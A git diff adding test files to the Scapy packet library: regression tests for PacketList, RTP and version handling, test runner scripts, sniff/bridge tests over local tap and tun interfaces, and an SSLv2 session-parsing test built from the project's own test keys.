++ Restore normal routes & Ifaces
+
+= Windows
+
+if WINDOWS:
+    IFACES.reload()
+    conf.route.resync()
+    conf.route6.resync()
+
+True
+
+
+############
+############
++ PacketList methods
+
+= plot()
+
+import mock
+@mock.patch("scapy.plist.plt")
+def test_plot(mock_plt):
+    def fake_plot(data, **kwargs):
+        return data
+    mock_plt.plot = fake_plot
+    plist = PacketList([IP(id=i)/TCP() for i in range(10)])
+    lines = plist.plot(lambda p: (p.time, p.id))
+    assert(len(lines) == 10)
+
+test_plot()
+
+= diffplot()
+
+import mock
+@mock.patch("scapy.plist.plt")
+def test_diffplot(mock_plt):
+    def fake_plot(data, **kwargs):
+        return data
+    mock_plt.plot = fake_plot
+    plist = PacketList([IP(id=i)/TCP() for i in range(10)])
+    lines = plist.diffplot(lambda x,y: (x.time, y.id-x.id))
+    assert(len(lines) == 9)
+
+test_diffplot()
+
+= multiplot()
+
+import mock
+@mock.patch("scapy.plist.plt")
+def test_multiplot(mock_plt):
+    def fake_plot(data, **kwargs):
+        return data
+    mock_plt.plot = fake_plot
+    tmp = [IP(id=i)/TCP() for i in range(10)]
+    plist = PacketList([tuple(tmp[i-2:i]) for i in range(2, 10, 2)])
+    lines = plist.multiplot(lambda x: (x[1][IP].src, (x[1].time, x[1][IP].id)))
+    assert(len(lines) == 1)
+    assert(len(lines[0]) == 4)
+
+test_multiplot()
+
+= rawhexdump()
+
+def test_rawhexdump():
+    with ContextManagerCaptureOutput() as cmco:
+        p = PacketList([IP()/TCP() for i in range(2)])
+        p.rawhexdump()
+        result_pl_rawhexdump = cmco.get_output()
+    assert(len(result_pl_rawhexdump.split('\n')) == 7)
+    assert(result_pl_rawhexdump.startswith("0000  45000028"))
+
+test_rawhexdump()
+
+= hexraw()
+
+def test_hexraw():
+    with ContextManagerCaptureOutput() as cmco:
+        p = PacketList([IP()/Raw(str(i)) for i in range(2)])
+        p.hexraw()
+        result_pl_hexraw = cmco.get_output()
+    assert(len(result_pl_hexraw.split('\n')) == 5)
+    assert("0000  30" in result_pl_hexraw)
+
+test_hexraw()
+
+= hexdump()
+
+def test_hexdump():
+    with ContextManagerCaptureOutput() as cmco:
+        p = PacketList([IP()/Raw(str(i)) for i in range(2)])
+        p.hexdump()
+        result_pl_hexdump = cmco.get_output()
+    assert(len(result_pl_hexdump.split('\n')) == 7)
+    assert("0010  7F00000131" in result_pl_hexdump)
+
+test_hexdump()
+
+= padding()
+
+def test_padding():
+    with ContextManagerCaptureOutput() as cmco:
+        p = PacketList([IP()/conf.padding_layer(str(i)) for i in range(2)])
+        p.padding()
+        result_pl_padding = cmco.get_output()
+    assert(len(result_pl_padding.split('\n')) == 5)
+    assert("0000  30" in result_pl_padding)
+
+test_padding()
+
+= nzpadding()
+
+def test_nzpadding():
+    with ContextManagerCaptureOutput() as cmco:
+        p = PacketList([IP()/conf.padding_layer("A%s" % i) for i in range(2)])
+        p.nzpadding()
+        result_pl_nzpadding = cmco.get_output()
+    assert(len(result_pl_nzpadding.split('\n')) == 5)
+    assert("0000  4130" in result_pl_nzpadding)
+
+test_nzpadding()
+
+= conversations()
+
+import mock
+@mock.patch("scapy.plist.do_graph")
+def test_conversations(mock_do_graph):
+    def fake_do_graph(graph, **kwargs):
+        return graph
+    mock_do_graph.side_effect = fake_do_graph
+    plist = PacketList([IP(dst="127.0.0.2")/TCP(dport=i) for i in range(2)])
+    plist.extend([IP(src="127.0.0.2")/TCP(sport=i) for i in range(2)])
+    result_conversations = plist.conversations()
+    assert(len(result_conversations.split('\n')) == 5)
+    assert(result_conversations.startswith('digraph "conv" {'))
+
+test_conversations()
+
+= afterglow()
+
+import mock
+@mock.patch("scapy.plist.do_graph")
+def test_afterglow(mock_do_graph):
+    def fake_do_graph(graph, **kwargs):
+        return graph
+    mock_do_graph.side_effect = fake_do_graph
+    plist = PacketList([IP(dst="127.0.0.2")/TCP(dport=i) for i in range(2)])
+    plist.extend([IP(src="127.0.0.2")/TCP(sport=i) for i in range(2)])
+    result_afterglow = plist.afterglow()
+    assert(len(result_afterglow.split('\n')) == 19)
+    assert(result_afterglow.startswith('digraph "afterglow" {'))
+
+test_afterglow()
+
+= psdump()
+
+print("PYX: %d" % PYX)
+if PYX:
+    import tempfile
+    import os
+    filename = tempfile.mktemp(suffix=".ps")
+    plist = PacketList([IP()/TCP()])
+    plist.psdump(filename)
+    assert(os.path.exists(filename))
+    os.unlink(filename)
+
+= pdfdump()
+
+print("PYX: %d" % PYX)
+if PYX:
+    import tempfile
+    import os
+    filename = tempfile.mktemp(suffix=".pdf")
+    plist = PacketList([IP()/TCP()])
+    plist.pdfdump(filename)
+    assert(os.path.exists(filename))
+    os.unlink(filename)
+
+############
+############
++ Scapy version
+
+= _version()
+
+import os
+version_filename = os.path.join(scapy._SCAPY_PKG_DIR, "VERSION")
+
+version = scapy._version()
+assert(os.path.exists(version_filename))
+
+import mock
+with mock.patch("scapy._version_from_git_describe") as version_mocked:
+  version_mocked.side_effect = Exception()
+  assert(scapy._version() == version)
+  os.unlink(version_filename)
+  assert(scapy._version() == "git-archive.dev$Format:%h")
+
+
+############
+# RTP
+############
+
++ RTP tests
+
+= test rtp with extension header
+~ rtp
+
+data = b'\x90o\x14~YY\xf5h\xcc#\xd7\xcfUH\x00\x03\x167116621 \x000\x00'
+pkt = RTP(data)
+assert "RTP" in pkt
+parsed = pkt["RTP"]
+assert parsed.version == 2
+assert parsed.extension
+assert parsed.numsync == 0
+assert not parsed.marker
+assert parsed.payload_type == 111
+assert parsed.sequence == 5246
+assert parsed.timestamp == 1499067752
+assert parsed.sourcesync == 0xcc23d7cf
+assert "RTPExtension" in parsed, parsed.show()
+assert parsed["RTPExtension"].header_id == 0x5548
+assert parsed["RTPExtension"].header == [0x16373131,0x36363231,0x20003000]
+
+= test layer creation
+
+created = RTP(extension=True, payload_type="PCMA", sequence=0x1234, timestamp=12345678, sourcesync=0xabcdef01)
+created /= RTPExtension(header_id=0x4321, header=[0x11223344])
+assert raw(created) == b'\x90\x08\x124\x00\xbcaN\xab\xcd\xef\x01C!\x00\x01\x11"3D'
+parsed = RTP(raw(created))
+assert parsed.payload_type == 8
+assert "RTPExtension" in parsed, parsed.show()
+assert parsed["RTPExtension"].header == [0x11223344]
+
+= test RTP without extension
+
+created = RTP(extension=False, payload_type="DVI4", sequence=0x1234, timestamp=12345678, sourcesync=0xabcdef01)
+assert raw(created) == b'\x80\x11\x124\x00\xbcaN\xab\xcd\xef\x01'
+parsed = RTP(raw(created))
+assert parsed.sourcesync == 0xabcdef01
+assert "RTPExtension" not in parsed
diff --git a/test/run_tests b/test/run_tests
new file mode 100755
index 0000000..e875227
--- /dev/null
+++ b/test/run_tests
@@ -0,0 +1,10 @@
+#! /bin/sh
+DIR=$(dirname $0)/..
+PYTHON=${PYTHON:-python}
+PYTHONDONTWRITEBYTECODE="True"
+if [ -z "$*" ]
+then
+    PYTHONPATH=$DIR exec $PYTHON ${DIR}/scapy/tools/UTscapy.py -t regression.uts -f html -K ipv6 -l -o /tmp/scapy_regression_test_$(date +%Y%m%d-%H%M%S).html
+else
+    PYTHONPATH=$DIR exec $PYTHON ${DIR}/scapy/tools/UTscapy.py "$@"
+fi
diff --git a/test/run_tests_py2 b/test/run_tests_py2
new file mode 100755
index 0000000..dd47e5b
--- /dev/null
+++ b/test/run_tests_py2
@@ -0,0 +1,3 @@
+#! /bin/sh
+PYTHON=python2
+source $(dirname $0)/run_tests "$@"
diff --git a/test/run_tests_py2.bat b/test/run_tests_py2.bat
new file mode 100644
index 0000000..c1a14d5
--- /dev/null
+++ b/test/run_tests_py2.bat
@@ -0,0 +1,10 @@
+@echo off
+title UTscapy - All tests - PY2
+set MYDIR=%cd%\..
+set PYTHONPATH=%MYDIR%
+if [%1]==[] (
+  python "%MYDIR%\scapy\tools\UTscapy.py" -c configs\\windows2.utsc -T bpf.uts -T linux.uts -o scapy_regression_test_%date:~6,4%_%date:~3,2%_%date:~0,2%.html
+) else (
+  python "%MYDIR%\scapy\tools\UTscapy.py" %@
+)
+PAUSE
\ No newline at end of file
diff --git a/test/run_tests_py3 b/test/run_tests_py3
new file mode 100755
index 0000000..5bc7030
--- /dev/null
+++ b/test/run_tests_py3
@@ -0,0 +1,3 @@
+#! /bin/sh
+PYTHON=python3
+source $(dirname $0)/run_tests "$@"
diff --git a/test/run_tests_py3.bat b/test/run_tests_py3.bat
new file mode 100644
index 0000000..dc061aa
--- /dev/null
+++ b/test/run_tests_py3.bat
@@ -0,0 +1,11 @@
+@echo off
+title UTscapy - All tests - PY3
+set MYDIR=%cd%\..
+set PYTHONPATH=%MYDIR%
+set PYTHONDONTWRITEBYTECODE=True
+if [%1]==[] (
+  python3 "%MYDIR%\scapy\tools\UTscapy.py" -c configs\\windows2.utsc -T bpf.uts -T linux.uts -o scapy_py3_regression_test_%date:~6,4%_%date:~3,2%_%date:~0,2%.html
+) else (
+  python3 "%MYDIR%\scapy\tools\UTscapy.py" %@
+)
+PAUSE
\ No newline at end of file
diff --git a/test/sendsniff.uts b/test/sendsniff.uts
new file mode 100644
index 0000000..ba810c4
--- /dev/null
+++ b/test/sendsniff.uts
@@ -0,0 +1,169 @@
+% send, sniff, sr* tests for Scapy
+
+~ netaccess
+
+############
+############
++ Test bridge_and_sniff() using tap sockets
+
+~ tap linux
+
+= Create two tap interfaces
+
+import subprocess
+from threading import Thread
+
+tap0, tap1 = [TunTapInterface("tap%d" % i) for i in range(2)]
+
+if LINUX:
+    for i in range(2):
+        assert subprocess.check_call(["ip", "link", "set", "tap%d" % i, "up"]) == 0
+else:
+    for i in range(2):
+        assert subprocess.check_call(["ifconfig", "tap%d" % i, "up"]) == 0
+
+= Run a sniff thread on the tap1 **interface**
+* It will terminate when 5 IP packets from 1.2.3.4 have been sniffed
+t_sniff = Thread(
+    target=sniff,
+    kwargs={"iface": "tap1", "count": 5, "prn": Packet.summary,
+            "lfilter": lambda p: IP in p and p[IP].src == "1.2.3.4"}
+)
+t_sniff.start()
+
+= Run a bridge_and_sniff thread between the taps **sockets**
+* It will terminate when 5 IP packets from 1.2.3.4 have been forwarded
+t_bridge = Thread(target=bridge_and_sniff, args=(tap0, tap1),
+                  kwargs={"store": False, "count": 5, 'prn': Packet.summary,
+                          "lfilter": lambda p: IP in p and p[IP].src == "1.2.3.4"})
+t_bridge.start()
+
+= Send five IP packets from 1.2.3.4 to the tap0 **interface**
+time.sleep(1)
+sendp([Ether(dst=ETHER_BROADCAST) / IP(src="1.2.3.4") / ICMP()], iface="tap0",
+      count=5)
+
+= Wait for the threads
+t_bridge.join()
+t_sniff.join()
+
+= Run a sniff thread on the tap1 **interface**
+* It will terminate when 5 IP packets from 2.3.4.5 have been sniffed
+t_sniff = Thread(
+    target=sniff,
+    kwargs={"iface": "tap1", "count": 5, "prn": Packet.summary,
+            "lfilter": lambda p: IP in p and p[IP].src == "2.3.4.5"}
+)
+t_sniff.start()
+
+= Run a bridge_and_sniff thread between the taps **sockets**
+* It will "NAT" packets from 1.2.3.4 to 2.3.4.5 and will terminate when 5 IP packets have been forwarded
+def nat_1_2(pkt):
+    if IP in pkt and pkt[IP].src == "1.2.3.4":
+        pkt[IP].src = "2.3.4.5"
+        del pkt[IP].chksum
+        return pkt
+    return False
+
+t_bridge = Thread(target=bridge_and_sniff, args=(tap0, tap1),
+                  kwargs={"store": False, "count": 5, 'prn': Packet.summary,
+                          "xfrm12": nat_1_2,
+                          "lfilter": lambda p: IP in p and p[IP].src == "1.2.3.4"})
+t_bridge.start()
+
+= Send five IP packets from 1.2.3.4 to the tap0 **interface**
+time.sleep(1)
+sendp([Ether(dst=ETHER_BROADCAST) / IP(src="1.2.3.4") / ICMP()], iface="tap0",
+      count=5)
+
+= Wait for the threads
+t_bridge.join()
+t_sniff.join()
+
+= Delete the tap interfaces
+del tap0, tap1
+
+
+############
+############
++ Test bridge_and_sniff() using tun sockets
+
+~ tun linux not_pcapdnet
+
+= Create two tun interfaces
+
+import subprocess
+from threading import Thread
+
+tun0, tun1 = [TunTapInterface("tun%d" % i) for i in range(2)]
+
+if LINUX:
+    for i in range(2):
+        assert subprocess.check_call(["ip", "link", "set", "tun%d" % i, "up"]) == 0
+else:
+    for i in range(2):
+        assert subprocess.check_call(["ifconfig", "tun%d" % i, "up"]) == 0
+
+= Run a sniff thread on the tun1 **interface**
+* It will terminate when 5 IP packets from 1.2.3.4 have been sniffed
+t_sniff = Thread(
+    target=sniff,
+    kwargs={"iface": "tun1", "count": 5, "prn": Packet.summary,
+            "lfilter": lambda p: IP in p and p[IP].src == "1.2.3.4"}
+)
+t_sniff.start()
+
+= Run a bridge_and_sniff thread between the tuns **sockets**
+* It will terminate when 5 IP packets from 1.2.3.4 have been forwarded.
+t_bridge = Thread(target=bridge_and_sniff, args=(tun0, tun1),
+                  kwargs={"store": False, "count": 5, 'prn': Packet.summary,
+                          "xfrm12": lambda pkt: pkt,
+                          "lfilter": lambda p: IP in p and p[IP].src == "1.2.3.4"})
+t_bridge.start()
+
+= Send five IP packets from 1.2.3.4 to the tun0 **interface**
+time.sleep(1)
+conf.route.add(net="1.2.3.4/32", dev="tun0")
+send(IP(src="1.2.3.4", dst="1.2.3.4") / ICMP(), count=5)
+conf.route.delt(net="1.2.3.4/32", dev="tun0")
+
+= Wait for the threads
+t_bridge.join()
+t_sniff.join()
+
+= Run a sniff thread on the tun1 **interface**
+* It will terminate when 5 IP packets from 2.3.4.5 have been sniffed
+t_sniff = Thread(
+    target=sniff,
+    kwargs={"iface": "tun1", "count": 5, "prn": Packet.summary,
+            "lfilter": lambda p: IP in p and p[IP].src == "2.3.4.5"}
+)
+t_sniff.start()
+
+= Run a bridge_and_sniff thread between the tuns **sockets**
+* It will "NAT" packets from 1.2.3.4 to 2.3.4.5 and will terminate when 5 IP packets have been forwarded
+def nat_1_2(pkt):
+    if IP in pkt and pkt[IP].src == "1.2.3.4":
+        pkt[IP].src = "2.3.4.5"
+        del pkt[IP].chksum
+        return pkt
+    return False
+
+t_bridge = Thread(target=bridge_and_sniff, args=(tun0, tun1),
+                  kwargs={"store": False, "count": 5, 'prn': Packet.summary,
+                          "xfrm12": nat_1_2,
+                          "lfilter": lambda p: IP in p and p[IP].src == "1.2.3.4"})
+t_bridge.start()
+
+= Send five IP packets from 1.2.3.4 to the tun0 **interface**
+time.sleep(1)
+conf.route.add(net="1.2.3.4/32", dev="tun0")
+send(IP(src="1.2.3.4", dst="1.2.3.4") / ICMP(), count=5)
+conf.route.delt(net="1.2.3.4/32", dev="tun0")
+
+= Wait for the threads
+t_bridge.join()
+t_sniff.join()
+
+= Delete the tun interfaces
+del tun0, tun1
diff --git a/test/sslv2.uts b/test/sslv2.uts
new file mode 100644
index 0000000..c6d2f2a
--- /dev/null
+++ b/test/sslv2.uts
@@ -0,0 +1,282 @@
+% Tests for TLS module
+#
+# Try me with :
+# bash test/run_tests -t test/tls.uts -F
+
+~ crypto
+
+###############################################################################
+################# Reading SSLv2 vulnerable test session #######################
+###############################################################################
+
+# These packets come from a session between an s_server and an s_client.
+# We assume the server's private key has been retrieved. Because the cipher
+# suite does not provide PFS, we are able to break the data confidentiality.
+# With openssl version being 0.9.8v, these are exactly the commands used:
+# openssl s_server -cert test/tls/pki/srv_cert.pem -key test/tls/pki/srv_key.pem -Verify 2 -cipher EXP-RC4-MD5
+# openssl s_client -ssl2 -cert test/tls/pki/cli_cert.pem -key test/tls/pki/cli_key.pem
+
++ Read a vulnerable SSLv2 session
+
+= Reading SSLv2 session - Loading unparsed SSLv2 records
+ch = b'\x80.\x01\x00\x02\x00\x15\x00\x00\x00\x10\x07\x00\xc0\x05\x00\x80\x03\x00\x80\x01\x00\x80\x06\x00@\x04\x00\x80\x02\x00\x80\x1a\xfb/\x9c\xa3\xd1)4T\xa3\x15(!\xff\xd1\x0c'
+sh = b'\x83\xc0\x04\x00\x01\x00\x02\x03\xa2\x00\x03\x00\x100\x82\x03\x9e0\x82\x02\x86\xa0\x03\x02\x01\x02\x02\t\x00\xfe\x04W\r\xc7\'\xe9\xf60\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x000T1\x0b0\t\x06\x03U\x04\x06\x13\x02MN1\x140\x12\x06\x03U\x04\x07\x0c\x0bUlaanbaatar1\x170\x15\x06\x03U\x04\x0b\x0c\x0eScapy Test PKI1\x160\x14\x06\x03U\x04\x03\x0c\rScapy Test CA0\x1e\x17\r160916102811Z\x17\r260915102811Z0X1\x0b0\t\x06\x03U\x04\x06\x13\x02MN1\x140\x12\x06\x03U\x04\x07\x0c\x0bUlaanbaatar1\x170\x15\x06\x03U\x04\x0b\x0c\x0eScapy Test PKI1\x1a0\x18\x06\x03U\x04\x03\x0c\x11Scapy Test Server0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xcc\xf1\xf1\x9b`-`\xae\xf2\x98\r\')\xd9\xc0\tYL\x0fJ0\xa8R\xdf\xe5\xb1!\x9fO\xc3=V\x93\xdd_\xc6\xf7\xb3\xf6U\x8b\xe7\x92\xe2\xde\xf2\x85I\xb4\xa1,\xf4\xfdv\xa8g\xca\x04 `\x11\x18\xa6\xf2\xa9\xb6\xa6\x1d\xd9\xaa\xe5\xd9\xdb\xaf\xe6\xafUW\x9f\xffR\x89e\xe6\x80b\x80!\x94\xbc\xcf\x81\x1b\xcbg\xc2\x9d\xb5\x05w\x04\xa6\xc7\x88\x18\x80xh\x956\xde\x97\x1b\xb6a\x87B\x1au\x98E\x82\xeb>2\x11\xc8\x9b\x86B9\x8dM\x12\xb7X\x1b\x19\xf3\x9d+\xa1\x98\x82\xca\xd7;$\xfb\t9\xb0\xbc\xc2\x95\xcf\x82)u\x16)?B \x17+M@\x8cVl\xad\xba\x0f4\x85\xb1\x7f@yqx\xb7\xa5\x04\xbb\x94\xf7\xb5A\x95\xee|\xeb\x8d\x0cyhY\xef\xcb\xb3\xfa>x\x1e\xeegLz\xdd\xe0\x99\xef\xda\xe7\xef\xb2\t]\xbe\x80 !\x05\x83,D\xdb]*v)\xa5\xb0#\x88t\x07T"\xd6)z\x92\xf5o-\x9e\xe7\xf8&+\x9cXe\x02\x03\x01\x00\x01\xa3o0m0\t\x06\x03U\x1d\x13\x04\x020\x000\x0b\x06\x03U\x1d\x0f\x04\x04\x03\x02\x05\xe00\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14\xa1+ p\xd2k\x80\xe5e\xbc\xeb\x03\x0f\x88\x9ft\xad\xdd\xf6\x130\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14fS\x94\xf4\x15\xd1\xbdgh\xb0Q725\xe1\xa4\xaa\xde\x07|0\x13\x06\x03U\x1d%\x04\x0c0\n\x06\x08+\x06\x01\x05\x05\x07\x03\x010\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x81\x88\x92sk\x93\xe7\x95\xd6\xddA\xee\x8e\x1e\xbd\xa3HX\xa7A5?{}\xd07\x98\x0e\xb8,\x94w\xc8Q6@\xadY\t(\xc8V\xd6\xea[\xac\xb4\xd8?h\xb7f\xca\xe1V7\xa9\x00e\xeaQ\xc9\xec\xb2iI]\xf9\xe3\xc0\xedaT\xc9\x12\x9f\xc6\xb0\nsU\xe8U5`\xef\x1c6\xf0\xda\xd1\x90wV\x04\xb8\xab8\xee\xf7\t\xc5\xa5\x98\x90#\xea\x1f\xdb\x15\x7f2(\x81\xab\x9b\x85\x02K\x95\xe77Q{\x1bH.\xfb>R\xa3\r\xb4F\xa9\x92:\x1c\x1f\xd7\n\x1eXJ\xfa.Q\x8f)\xc6\x1e\xb8\x0e1\x0es\xf1\'\x88\x17\xca\xc8i\x0c\xfa\x83\xcd\xb3y\x0e\x14\xb0\xb8\x9b/:-\t\xe3\xfc\x06\xf0:n\xfd6;+\x1a\t*\xe8\xab_\x8c@\xe4\x81\xb2\xbc\xf7\x83g\x11nN\x93\xea"\xaf\xff\xa3\x9awWv\xd0\x0b8\xac\xf8\x8a\x945\x8e\xd7\xd4a\xcc\x01\xff$\xb4\x8fa#\xba\x88\xd7Y\xe4\xe9\xba*N\xb5\x15\x0f\x9c\xd0\xea\x06\x91\xd9\xde\xab\x02\x00\x809\x19R\xa4\xab)\x93\x94\xcd\x8a,^\x03\xb9\xf1\x80'
+mk = b"\x81\x15\x02\x02\x00\x80\x00\x0b\x01\x00\x00\x00~\xc2\xf9\x9e\x94i\x02\xfe\xed\xc4\xdc\x9b\xe0\xe7 \xa8\xcct'\xf7\xc3\x05\xfc\xa5^\x13\xdc\xaa\xf6\xfa\x88\x9f\xf9\x89\xc5@\x86\xfe\xe3\xe0\x88\xd8\x02B%5\x8e\xeaV\xd9\x08\xd2In\x9aY\xca\x87\x86k\xdf\xc3W\x13x\xff\x98\xb9!bU9\x07R.i\xce\x19\xf0\xa0\xc0\x1af\x87\\M&4\x8d\xa8G\xc1\xcd\x1d\x8a\x95F\t\xba\x07\x193\xb44\x8f\xbd+\xbdmz\xd0\x11\xa3\xbd9\xaaU\xbd\xfcX\xbb\xf0%V\x1e\xae\xd1\xf3\xe9\xa0\xd7\x19E\r\xac\xad\xde/mc\xa4\xb0\xb0\x12No\xd9\xf5\xd9\xb4\xcb\xa7\xa5\t\xa6\xb9L,\x07\xfc\x9f>m4\x96\xadlS\xf1b\xdeo\xa2\xb6Hh\x85\xc5P\xec\x89i \xf7\xd6\xa0h\xa7\xa4\x95\x8dL\x16\xde_\x14\xe3\x18\xb2\x05\x1a1g\xdd\x9f\xd0\x06\x16\x06\x8c\xd4\xcc\x8a\x89\xbc\x9c6\xa9\xa1\xa8+5\x19g\xd6\x83\x1f\xe0\xd8j\x1a\x98!\x95Y\xbb\x1et\x1e2-\xab\xf8\xe3\xb7d\x92\xbe\xb0\x1a\xcf\x84G\xcc\xf4}\x01\x9eq\x14`q*z\xeaW."
+sv = b'\x80!\xc5\x84A`t1\xc3\xeaZ\xea\xdf\xd9\x87e_\xb9j`Yb\xbc\xbc\x08\xf5\x9c\x9b\xe6\xfaF\xa0\x87\x02\x07'
+cf = b'\x80!w\xa2\x88\x83uv\xd5|\xde\xbdoz\xba&^O\xda\x82k\x01L_xSx\x08\xe0\x1a\xaf\xa0\x07\x93\xa5'
+rc = b'\x80"\xfe\x03\xe0$\xec{\x08-\xe9h\xf7\xc9(i\xa6N\xd8\xaa\xe3\xb2;\xf1\xfd\xf5+\x80\xa9\x1a*\xb3Z\xa7\xbe\xde'
+cc = b'\x84\xb8\xe3j:\xc9\xa9OL\x9d\x08\xb7"\xf4)<\xf7\x0c\x92\x10{u\xd1\t\xccR(R\xc2\x02\xe0\n\x85i\xffJ\xb7\xc7\xf09\x98\x99\xde\x06\xd1\xe2\x1a\xeff[.`\x85\xf0_gs\x91\'\x0e\x82\x1b\xf6\x93\xf34m\x9d\xdc=\xf9\xeas\xac;\xe3\xcbB\xcf`\x899S"\xa8\xf9\x9b-\x07<\xfa\xf9|j\x11Z{\xa1\x1d\xd6\xf6\xdbgv\t\xa8\xa3[\x85\x82\x02^\x17\xd6\xcb\x8e\x08\xae\x87\xa1\x84\xec\x17\x0fuX,\xd4\x95\x98\x91\xea\xb3o4\x8a\xbc\x14\xfc"\x97\xfa_\xf9D\x0cB+\x07\x16K\x18&\x05x\x97.\xbc\xe1\xc4e\xb8S\xadwh\x8b\xeb\xe0\x10\x01\xd7\x08-\x81\xac\xff\xb2\x10\xcf\x14\x99VNw\xb618\xbd\xff\x18\x9c\xfb\x08\x07\xce{\x03b\x12\x81\x1d!t\xf9l\x84^d\x0eA\xdbj\xb7\xc6\x7f3\xf9t\x15\xa7)1\x95ko\xe6\x95\xd0\xbc\xe6S!"\xcaO>\x80\xad\xe0|\xb8+\xc4\x88me.\xe3O\xaf\xe2\x14k\xdc\x89\xe9\xc0O4\xa7\xc9\xb9\xe9a\xf7i\xb0\x1eH\xc7\x90\xe5ep\xa4\x8d2\x9d)MD\xb5\xc3\xc6G\xdd\xf3\x8f\x0e\xe0\xef\x17\x7f\x9f\x02\x02\xe7\xd7U\xc5\xfc+\x9d_\xf4\x1e#\x0e\x19\x9cX\xd4\xe6\x85\xe5\x1bR\xd2\xb1\xdf\x93K\xb9\xecD\xbbx\xda\x8f\x08u\xee\xad\xb6a\xc7\xb1\xed\xd7\xf9!/O\xb4\x17kg/D\xd7/\x9f\x1e\t\xf2\x9d\xc3i\xfb\xa9V\x19yme\xe8\xaa\x0e]\x7f\xff\xbf\xdc\xa5\xd8b\\\x14\x11f\xcdI\xe5\xb4\xc4\x0cl\x87z\xfb\xec\xbe\x06G\x05\xf5\xf7D.w[\xcf)}T\x13\x99]L\xeeg\xf1\x1f\xcc\xfc\xed\\\xf7Xh\xc5\x9f>}\xc0\xfb\xce=Ngr\x99\xcb6^\xdc\x86a\xb8w\xd8\xd5\x0e\xd7\x1f\xd7\x9d\xc52\x10 \xc4{\xb0\xb2\xc6\xdaJ3\xd1R\xd7\xe5\xc8\xe4e\xa6g[\xa5\xecVL\xf4\x15\x0b\x94\x81\xe2\x7fU\xff\xf9\x8c\x01\xf2\xc1\xae\xc7>\xe2U\x89\x92\xc4\t\x95@\x83}\x83\xca\xd2\xca\x02-.\xf9N&\xbb\xb3i\xba\xfe\xcf\x7f\xd6t\x03\xb8\x05~\xf89[@\xa0\xc5u\xf5\xe9\x89`jE9G1\xad\x18\xccQc(T\x1cc\xa98\x1e\xf4\xec\xac"\xed$3K\x1fM\xa1\xbc`3\x81k\x81\xc6|\xaeh\x86\xca\xde\x18h\n\x95\xb6M*MNNTugX\xfbC\xfe\xb9K\xf4\x01\xa0:S\x10\x9b\xf7\x1aW\x91\x86\xc7[\xf7r\xb8\xc2^P\xdf\x14\x90\xc3\x8d\x1f\xb0^\xe8\xd2\xd9\xd7i\x0e\xa1\x0b>\nr\xdcl\xce\x8a\x11\xd6(\xabq\xd6\x05\x1f9\x9c\x7f5\xacw\xb0L\x97J\n\x94\xac\x00\xda(-@\x0c\xc5\xd8\x86\x82\x91\xe2\t\xd7\xc9\xc0\xb0\x1fs4etn{\xfaE\xd4\xce\x9b\xc9\xd6B\xe9\xbd\xf1.\xd4\xf65\xb8[a\x80\x80?3\xa7\x0b\x05\xe3)\xd3r\xbdd\xe9\xd5+\x99\xcc\x0f,xi(\xbd@\xb2\x8b\xe4\xf8\x12\xebt\xd5\xdfg\xe1\xd4\x16+,\xa8e\xf3z\\\x15\xfc\xd0D\xfc\xad\xbc\xa5\xad\xa5\xad\xde\xb7"\x18?\x84\r\xe6\xb1\xd7io\xea\xf0\xaf\xe6;\xaf\xdc\xa5@\x7f7\x99\xe0\xd2\x00\x0f_\xcd\x12\xe5\xf7\x9b\xbd\x8b\xa6_\xf0\xe5B\xf5\x7f\x96\xa8B\xeff{,V\x83b\xc7Y\xe5Z|QE\xe3\x8e\xb9\xed=\x16\x9e\x9e\xdeW\xa7X\x10\x02:\xd2\x8bl~$\xc2\xd6\xec\xc5\xfa=)\x93\xe9gJ\x8f\xc9\xb5\xb5A\xd0\x11]\xb9;ks\xfba\x84\xa0\x94,W\x1e\x07\x1e\xc2j\xa1\x9f\x8d\xbb\xe2\xb9 \x0f\xac\x9b\xbb\xe1\x12\t7\x8eJ;\x9d\xd4\x15\x197\x97\xf7xo\xcdJ\x15(\x88`z\x00\xff\xd0R.:\xc9\x92\xcbY~\xc3\x8ex\xd7\xab\xf6q\x98x\x99\xf2R;# \x0e\x16F\x9b\x15\xff\x90\x08\x06F\x01\xb7\xcd\xa0\xbaM\xf8xy\x99W\xaa\x82\xcc70\x02\x97\x0e\xd8\xeb\xdeLk\xa4\xe8\xbb\x7f\x0fN\xc6>hTN\n\xe2\xb1\xcc\xb0\xbcH\x99\x83]\x0f\x84\x07\xf5\x1e\x079\xb0[\xd8\xc9I\x93\xa0-\x0c\xc2\xd8W\x13\xed;\r\xe0S\xe6\x82m<\x8b\x0c\xfd\xce\xd6\xecA\xe7Zm\xeb\x03\x9b%p\xfa\xb0\x8c^\x7f\xb5e\xa8\xb0\x7f\xbf\xcd\xbf\x1f3\xa3\xb3<Qk\xfc\xa7>\xddZ\xb3\'\x1arO?\x16\x8a\x90\xb3n$\xd5\xa5\x91\xe2\x91\x00Qy\xdb\xcf\xc8\xd9xP\x92\xd3 \xfd\xb2R\xb7\xe0\x8f\x02\xcf\x15\xad3\xda\xa8\xe0}\xa0\x8c\xfb\xfe-\x14\xb3\x85E\xe6\x91@1\xb6\n\x90;\xb6\xbf\xbb\x16e{\xce\xaf\xd7\xdf\xac\xc9\xe7-,\xd0<\xf8L[f~\x13R\xf7\xaf\xff\xa3\xe1\x98\x93\x03V9\x04\x13y\xaa\x17=\xef\xe6`f\xb49\x8e3\xc8\xac\x81+}\x9a\xaf\xfbe\xa0J\xd2\xcb?\x870\xd9\x0e\x87\xa2\xe1YS\x06v\xc51\x18\x9a\x8b\xd5\xc8\xdd\x01y\xee\xab3\x16\xfd\x93\xc7\x1a8\xe9'
+sf = b'\x80!\xc9\x18i\x80\xfb\xe9\xea\xa7F\x83n\xaaP\xc0\x88\x8a\x03\xce"9p\xbcW\xb1r\xac\xcc\xb1\xaa\x08\x85\xb4\xe2'
+d1 = b'\x80C\x99\x83z\xc0\xdc\xe7\xf0I\x80\x8c\x8e\x1c\xc7bx\x98\xd3\x84\xd6\x06\xc8r\x9b\x197\xd2\xe9\x08\xc53s\x88 y\x8e)\x9f\xdcE*e\xb2r\xa2$<h\x1c/\x89\x9e\xc0\xc2D9KWB7\xddSi\xb6\xaeE\x13\xe2'
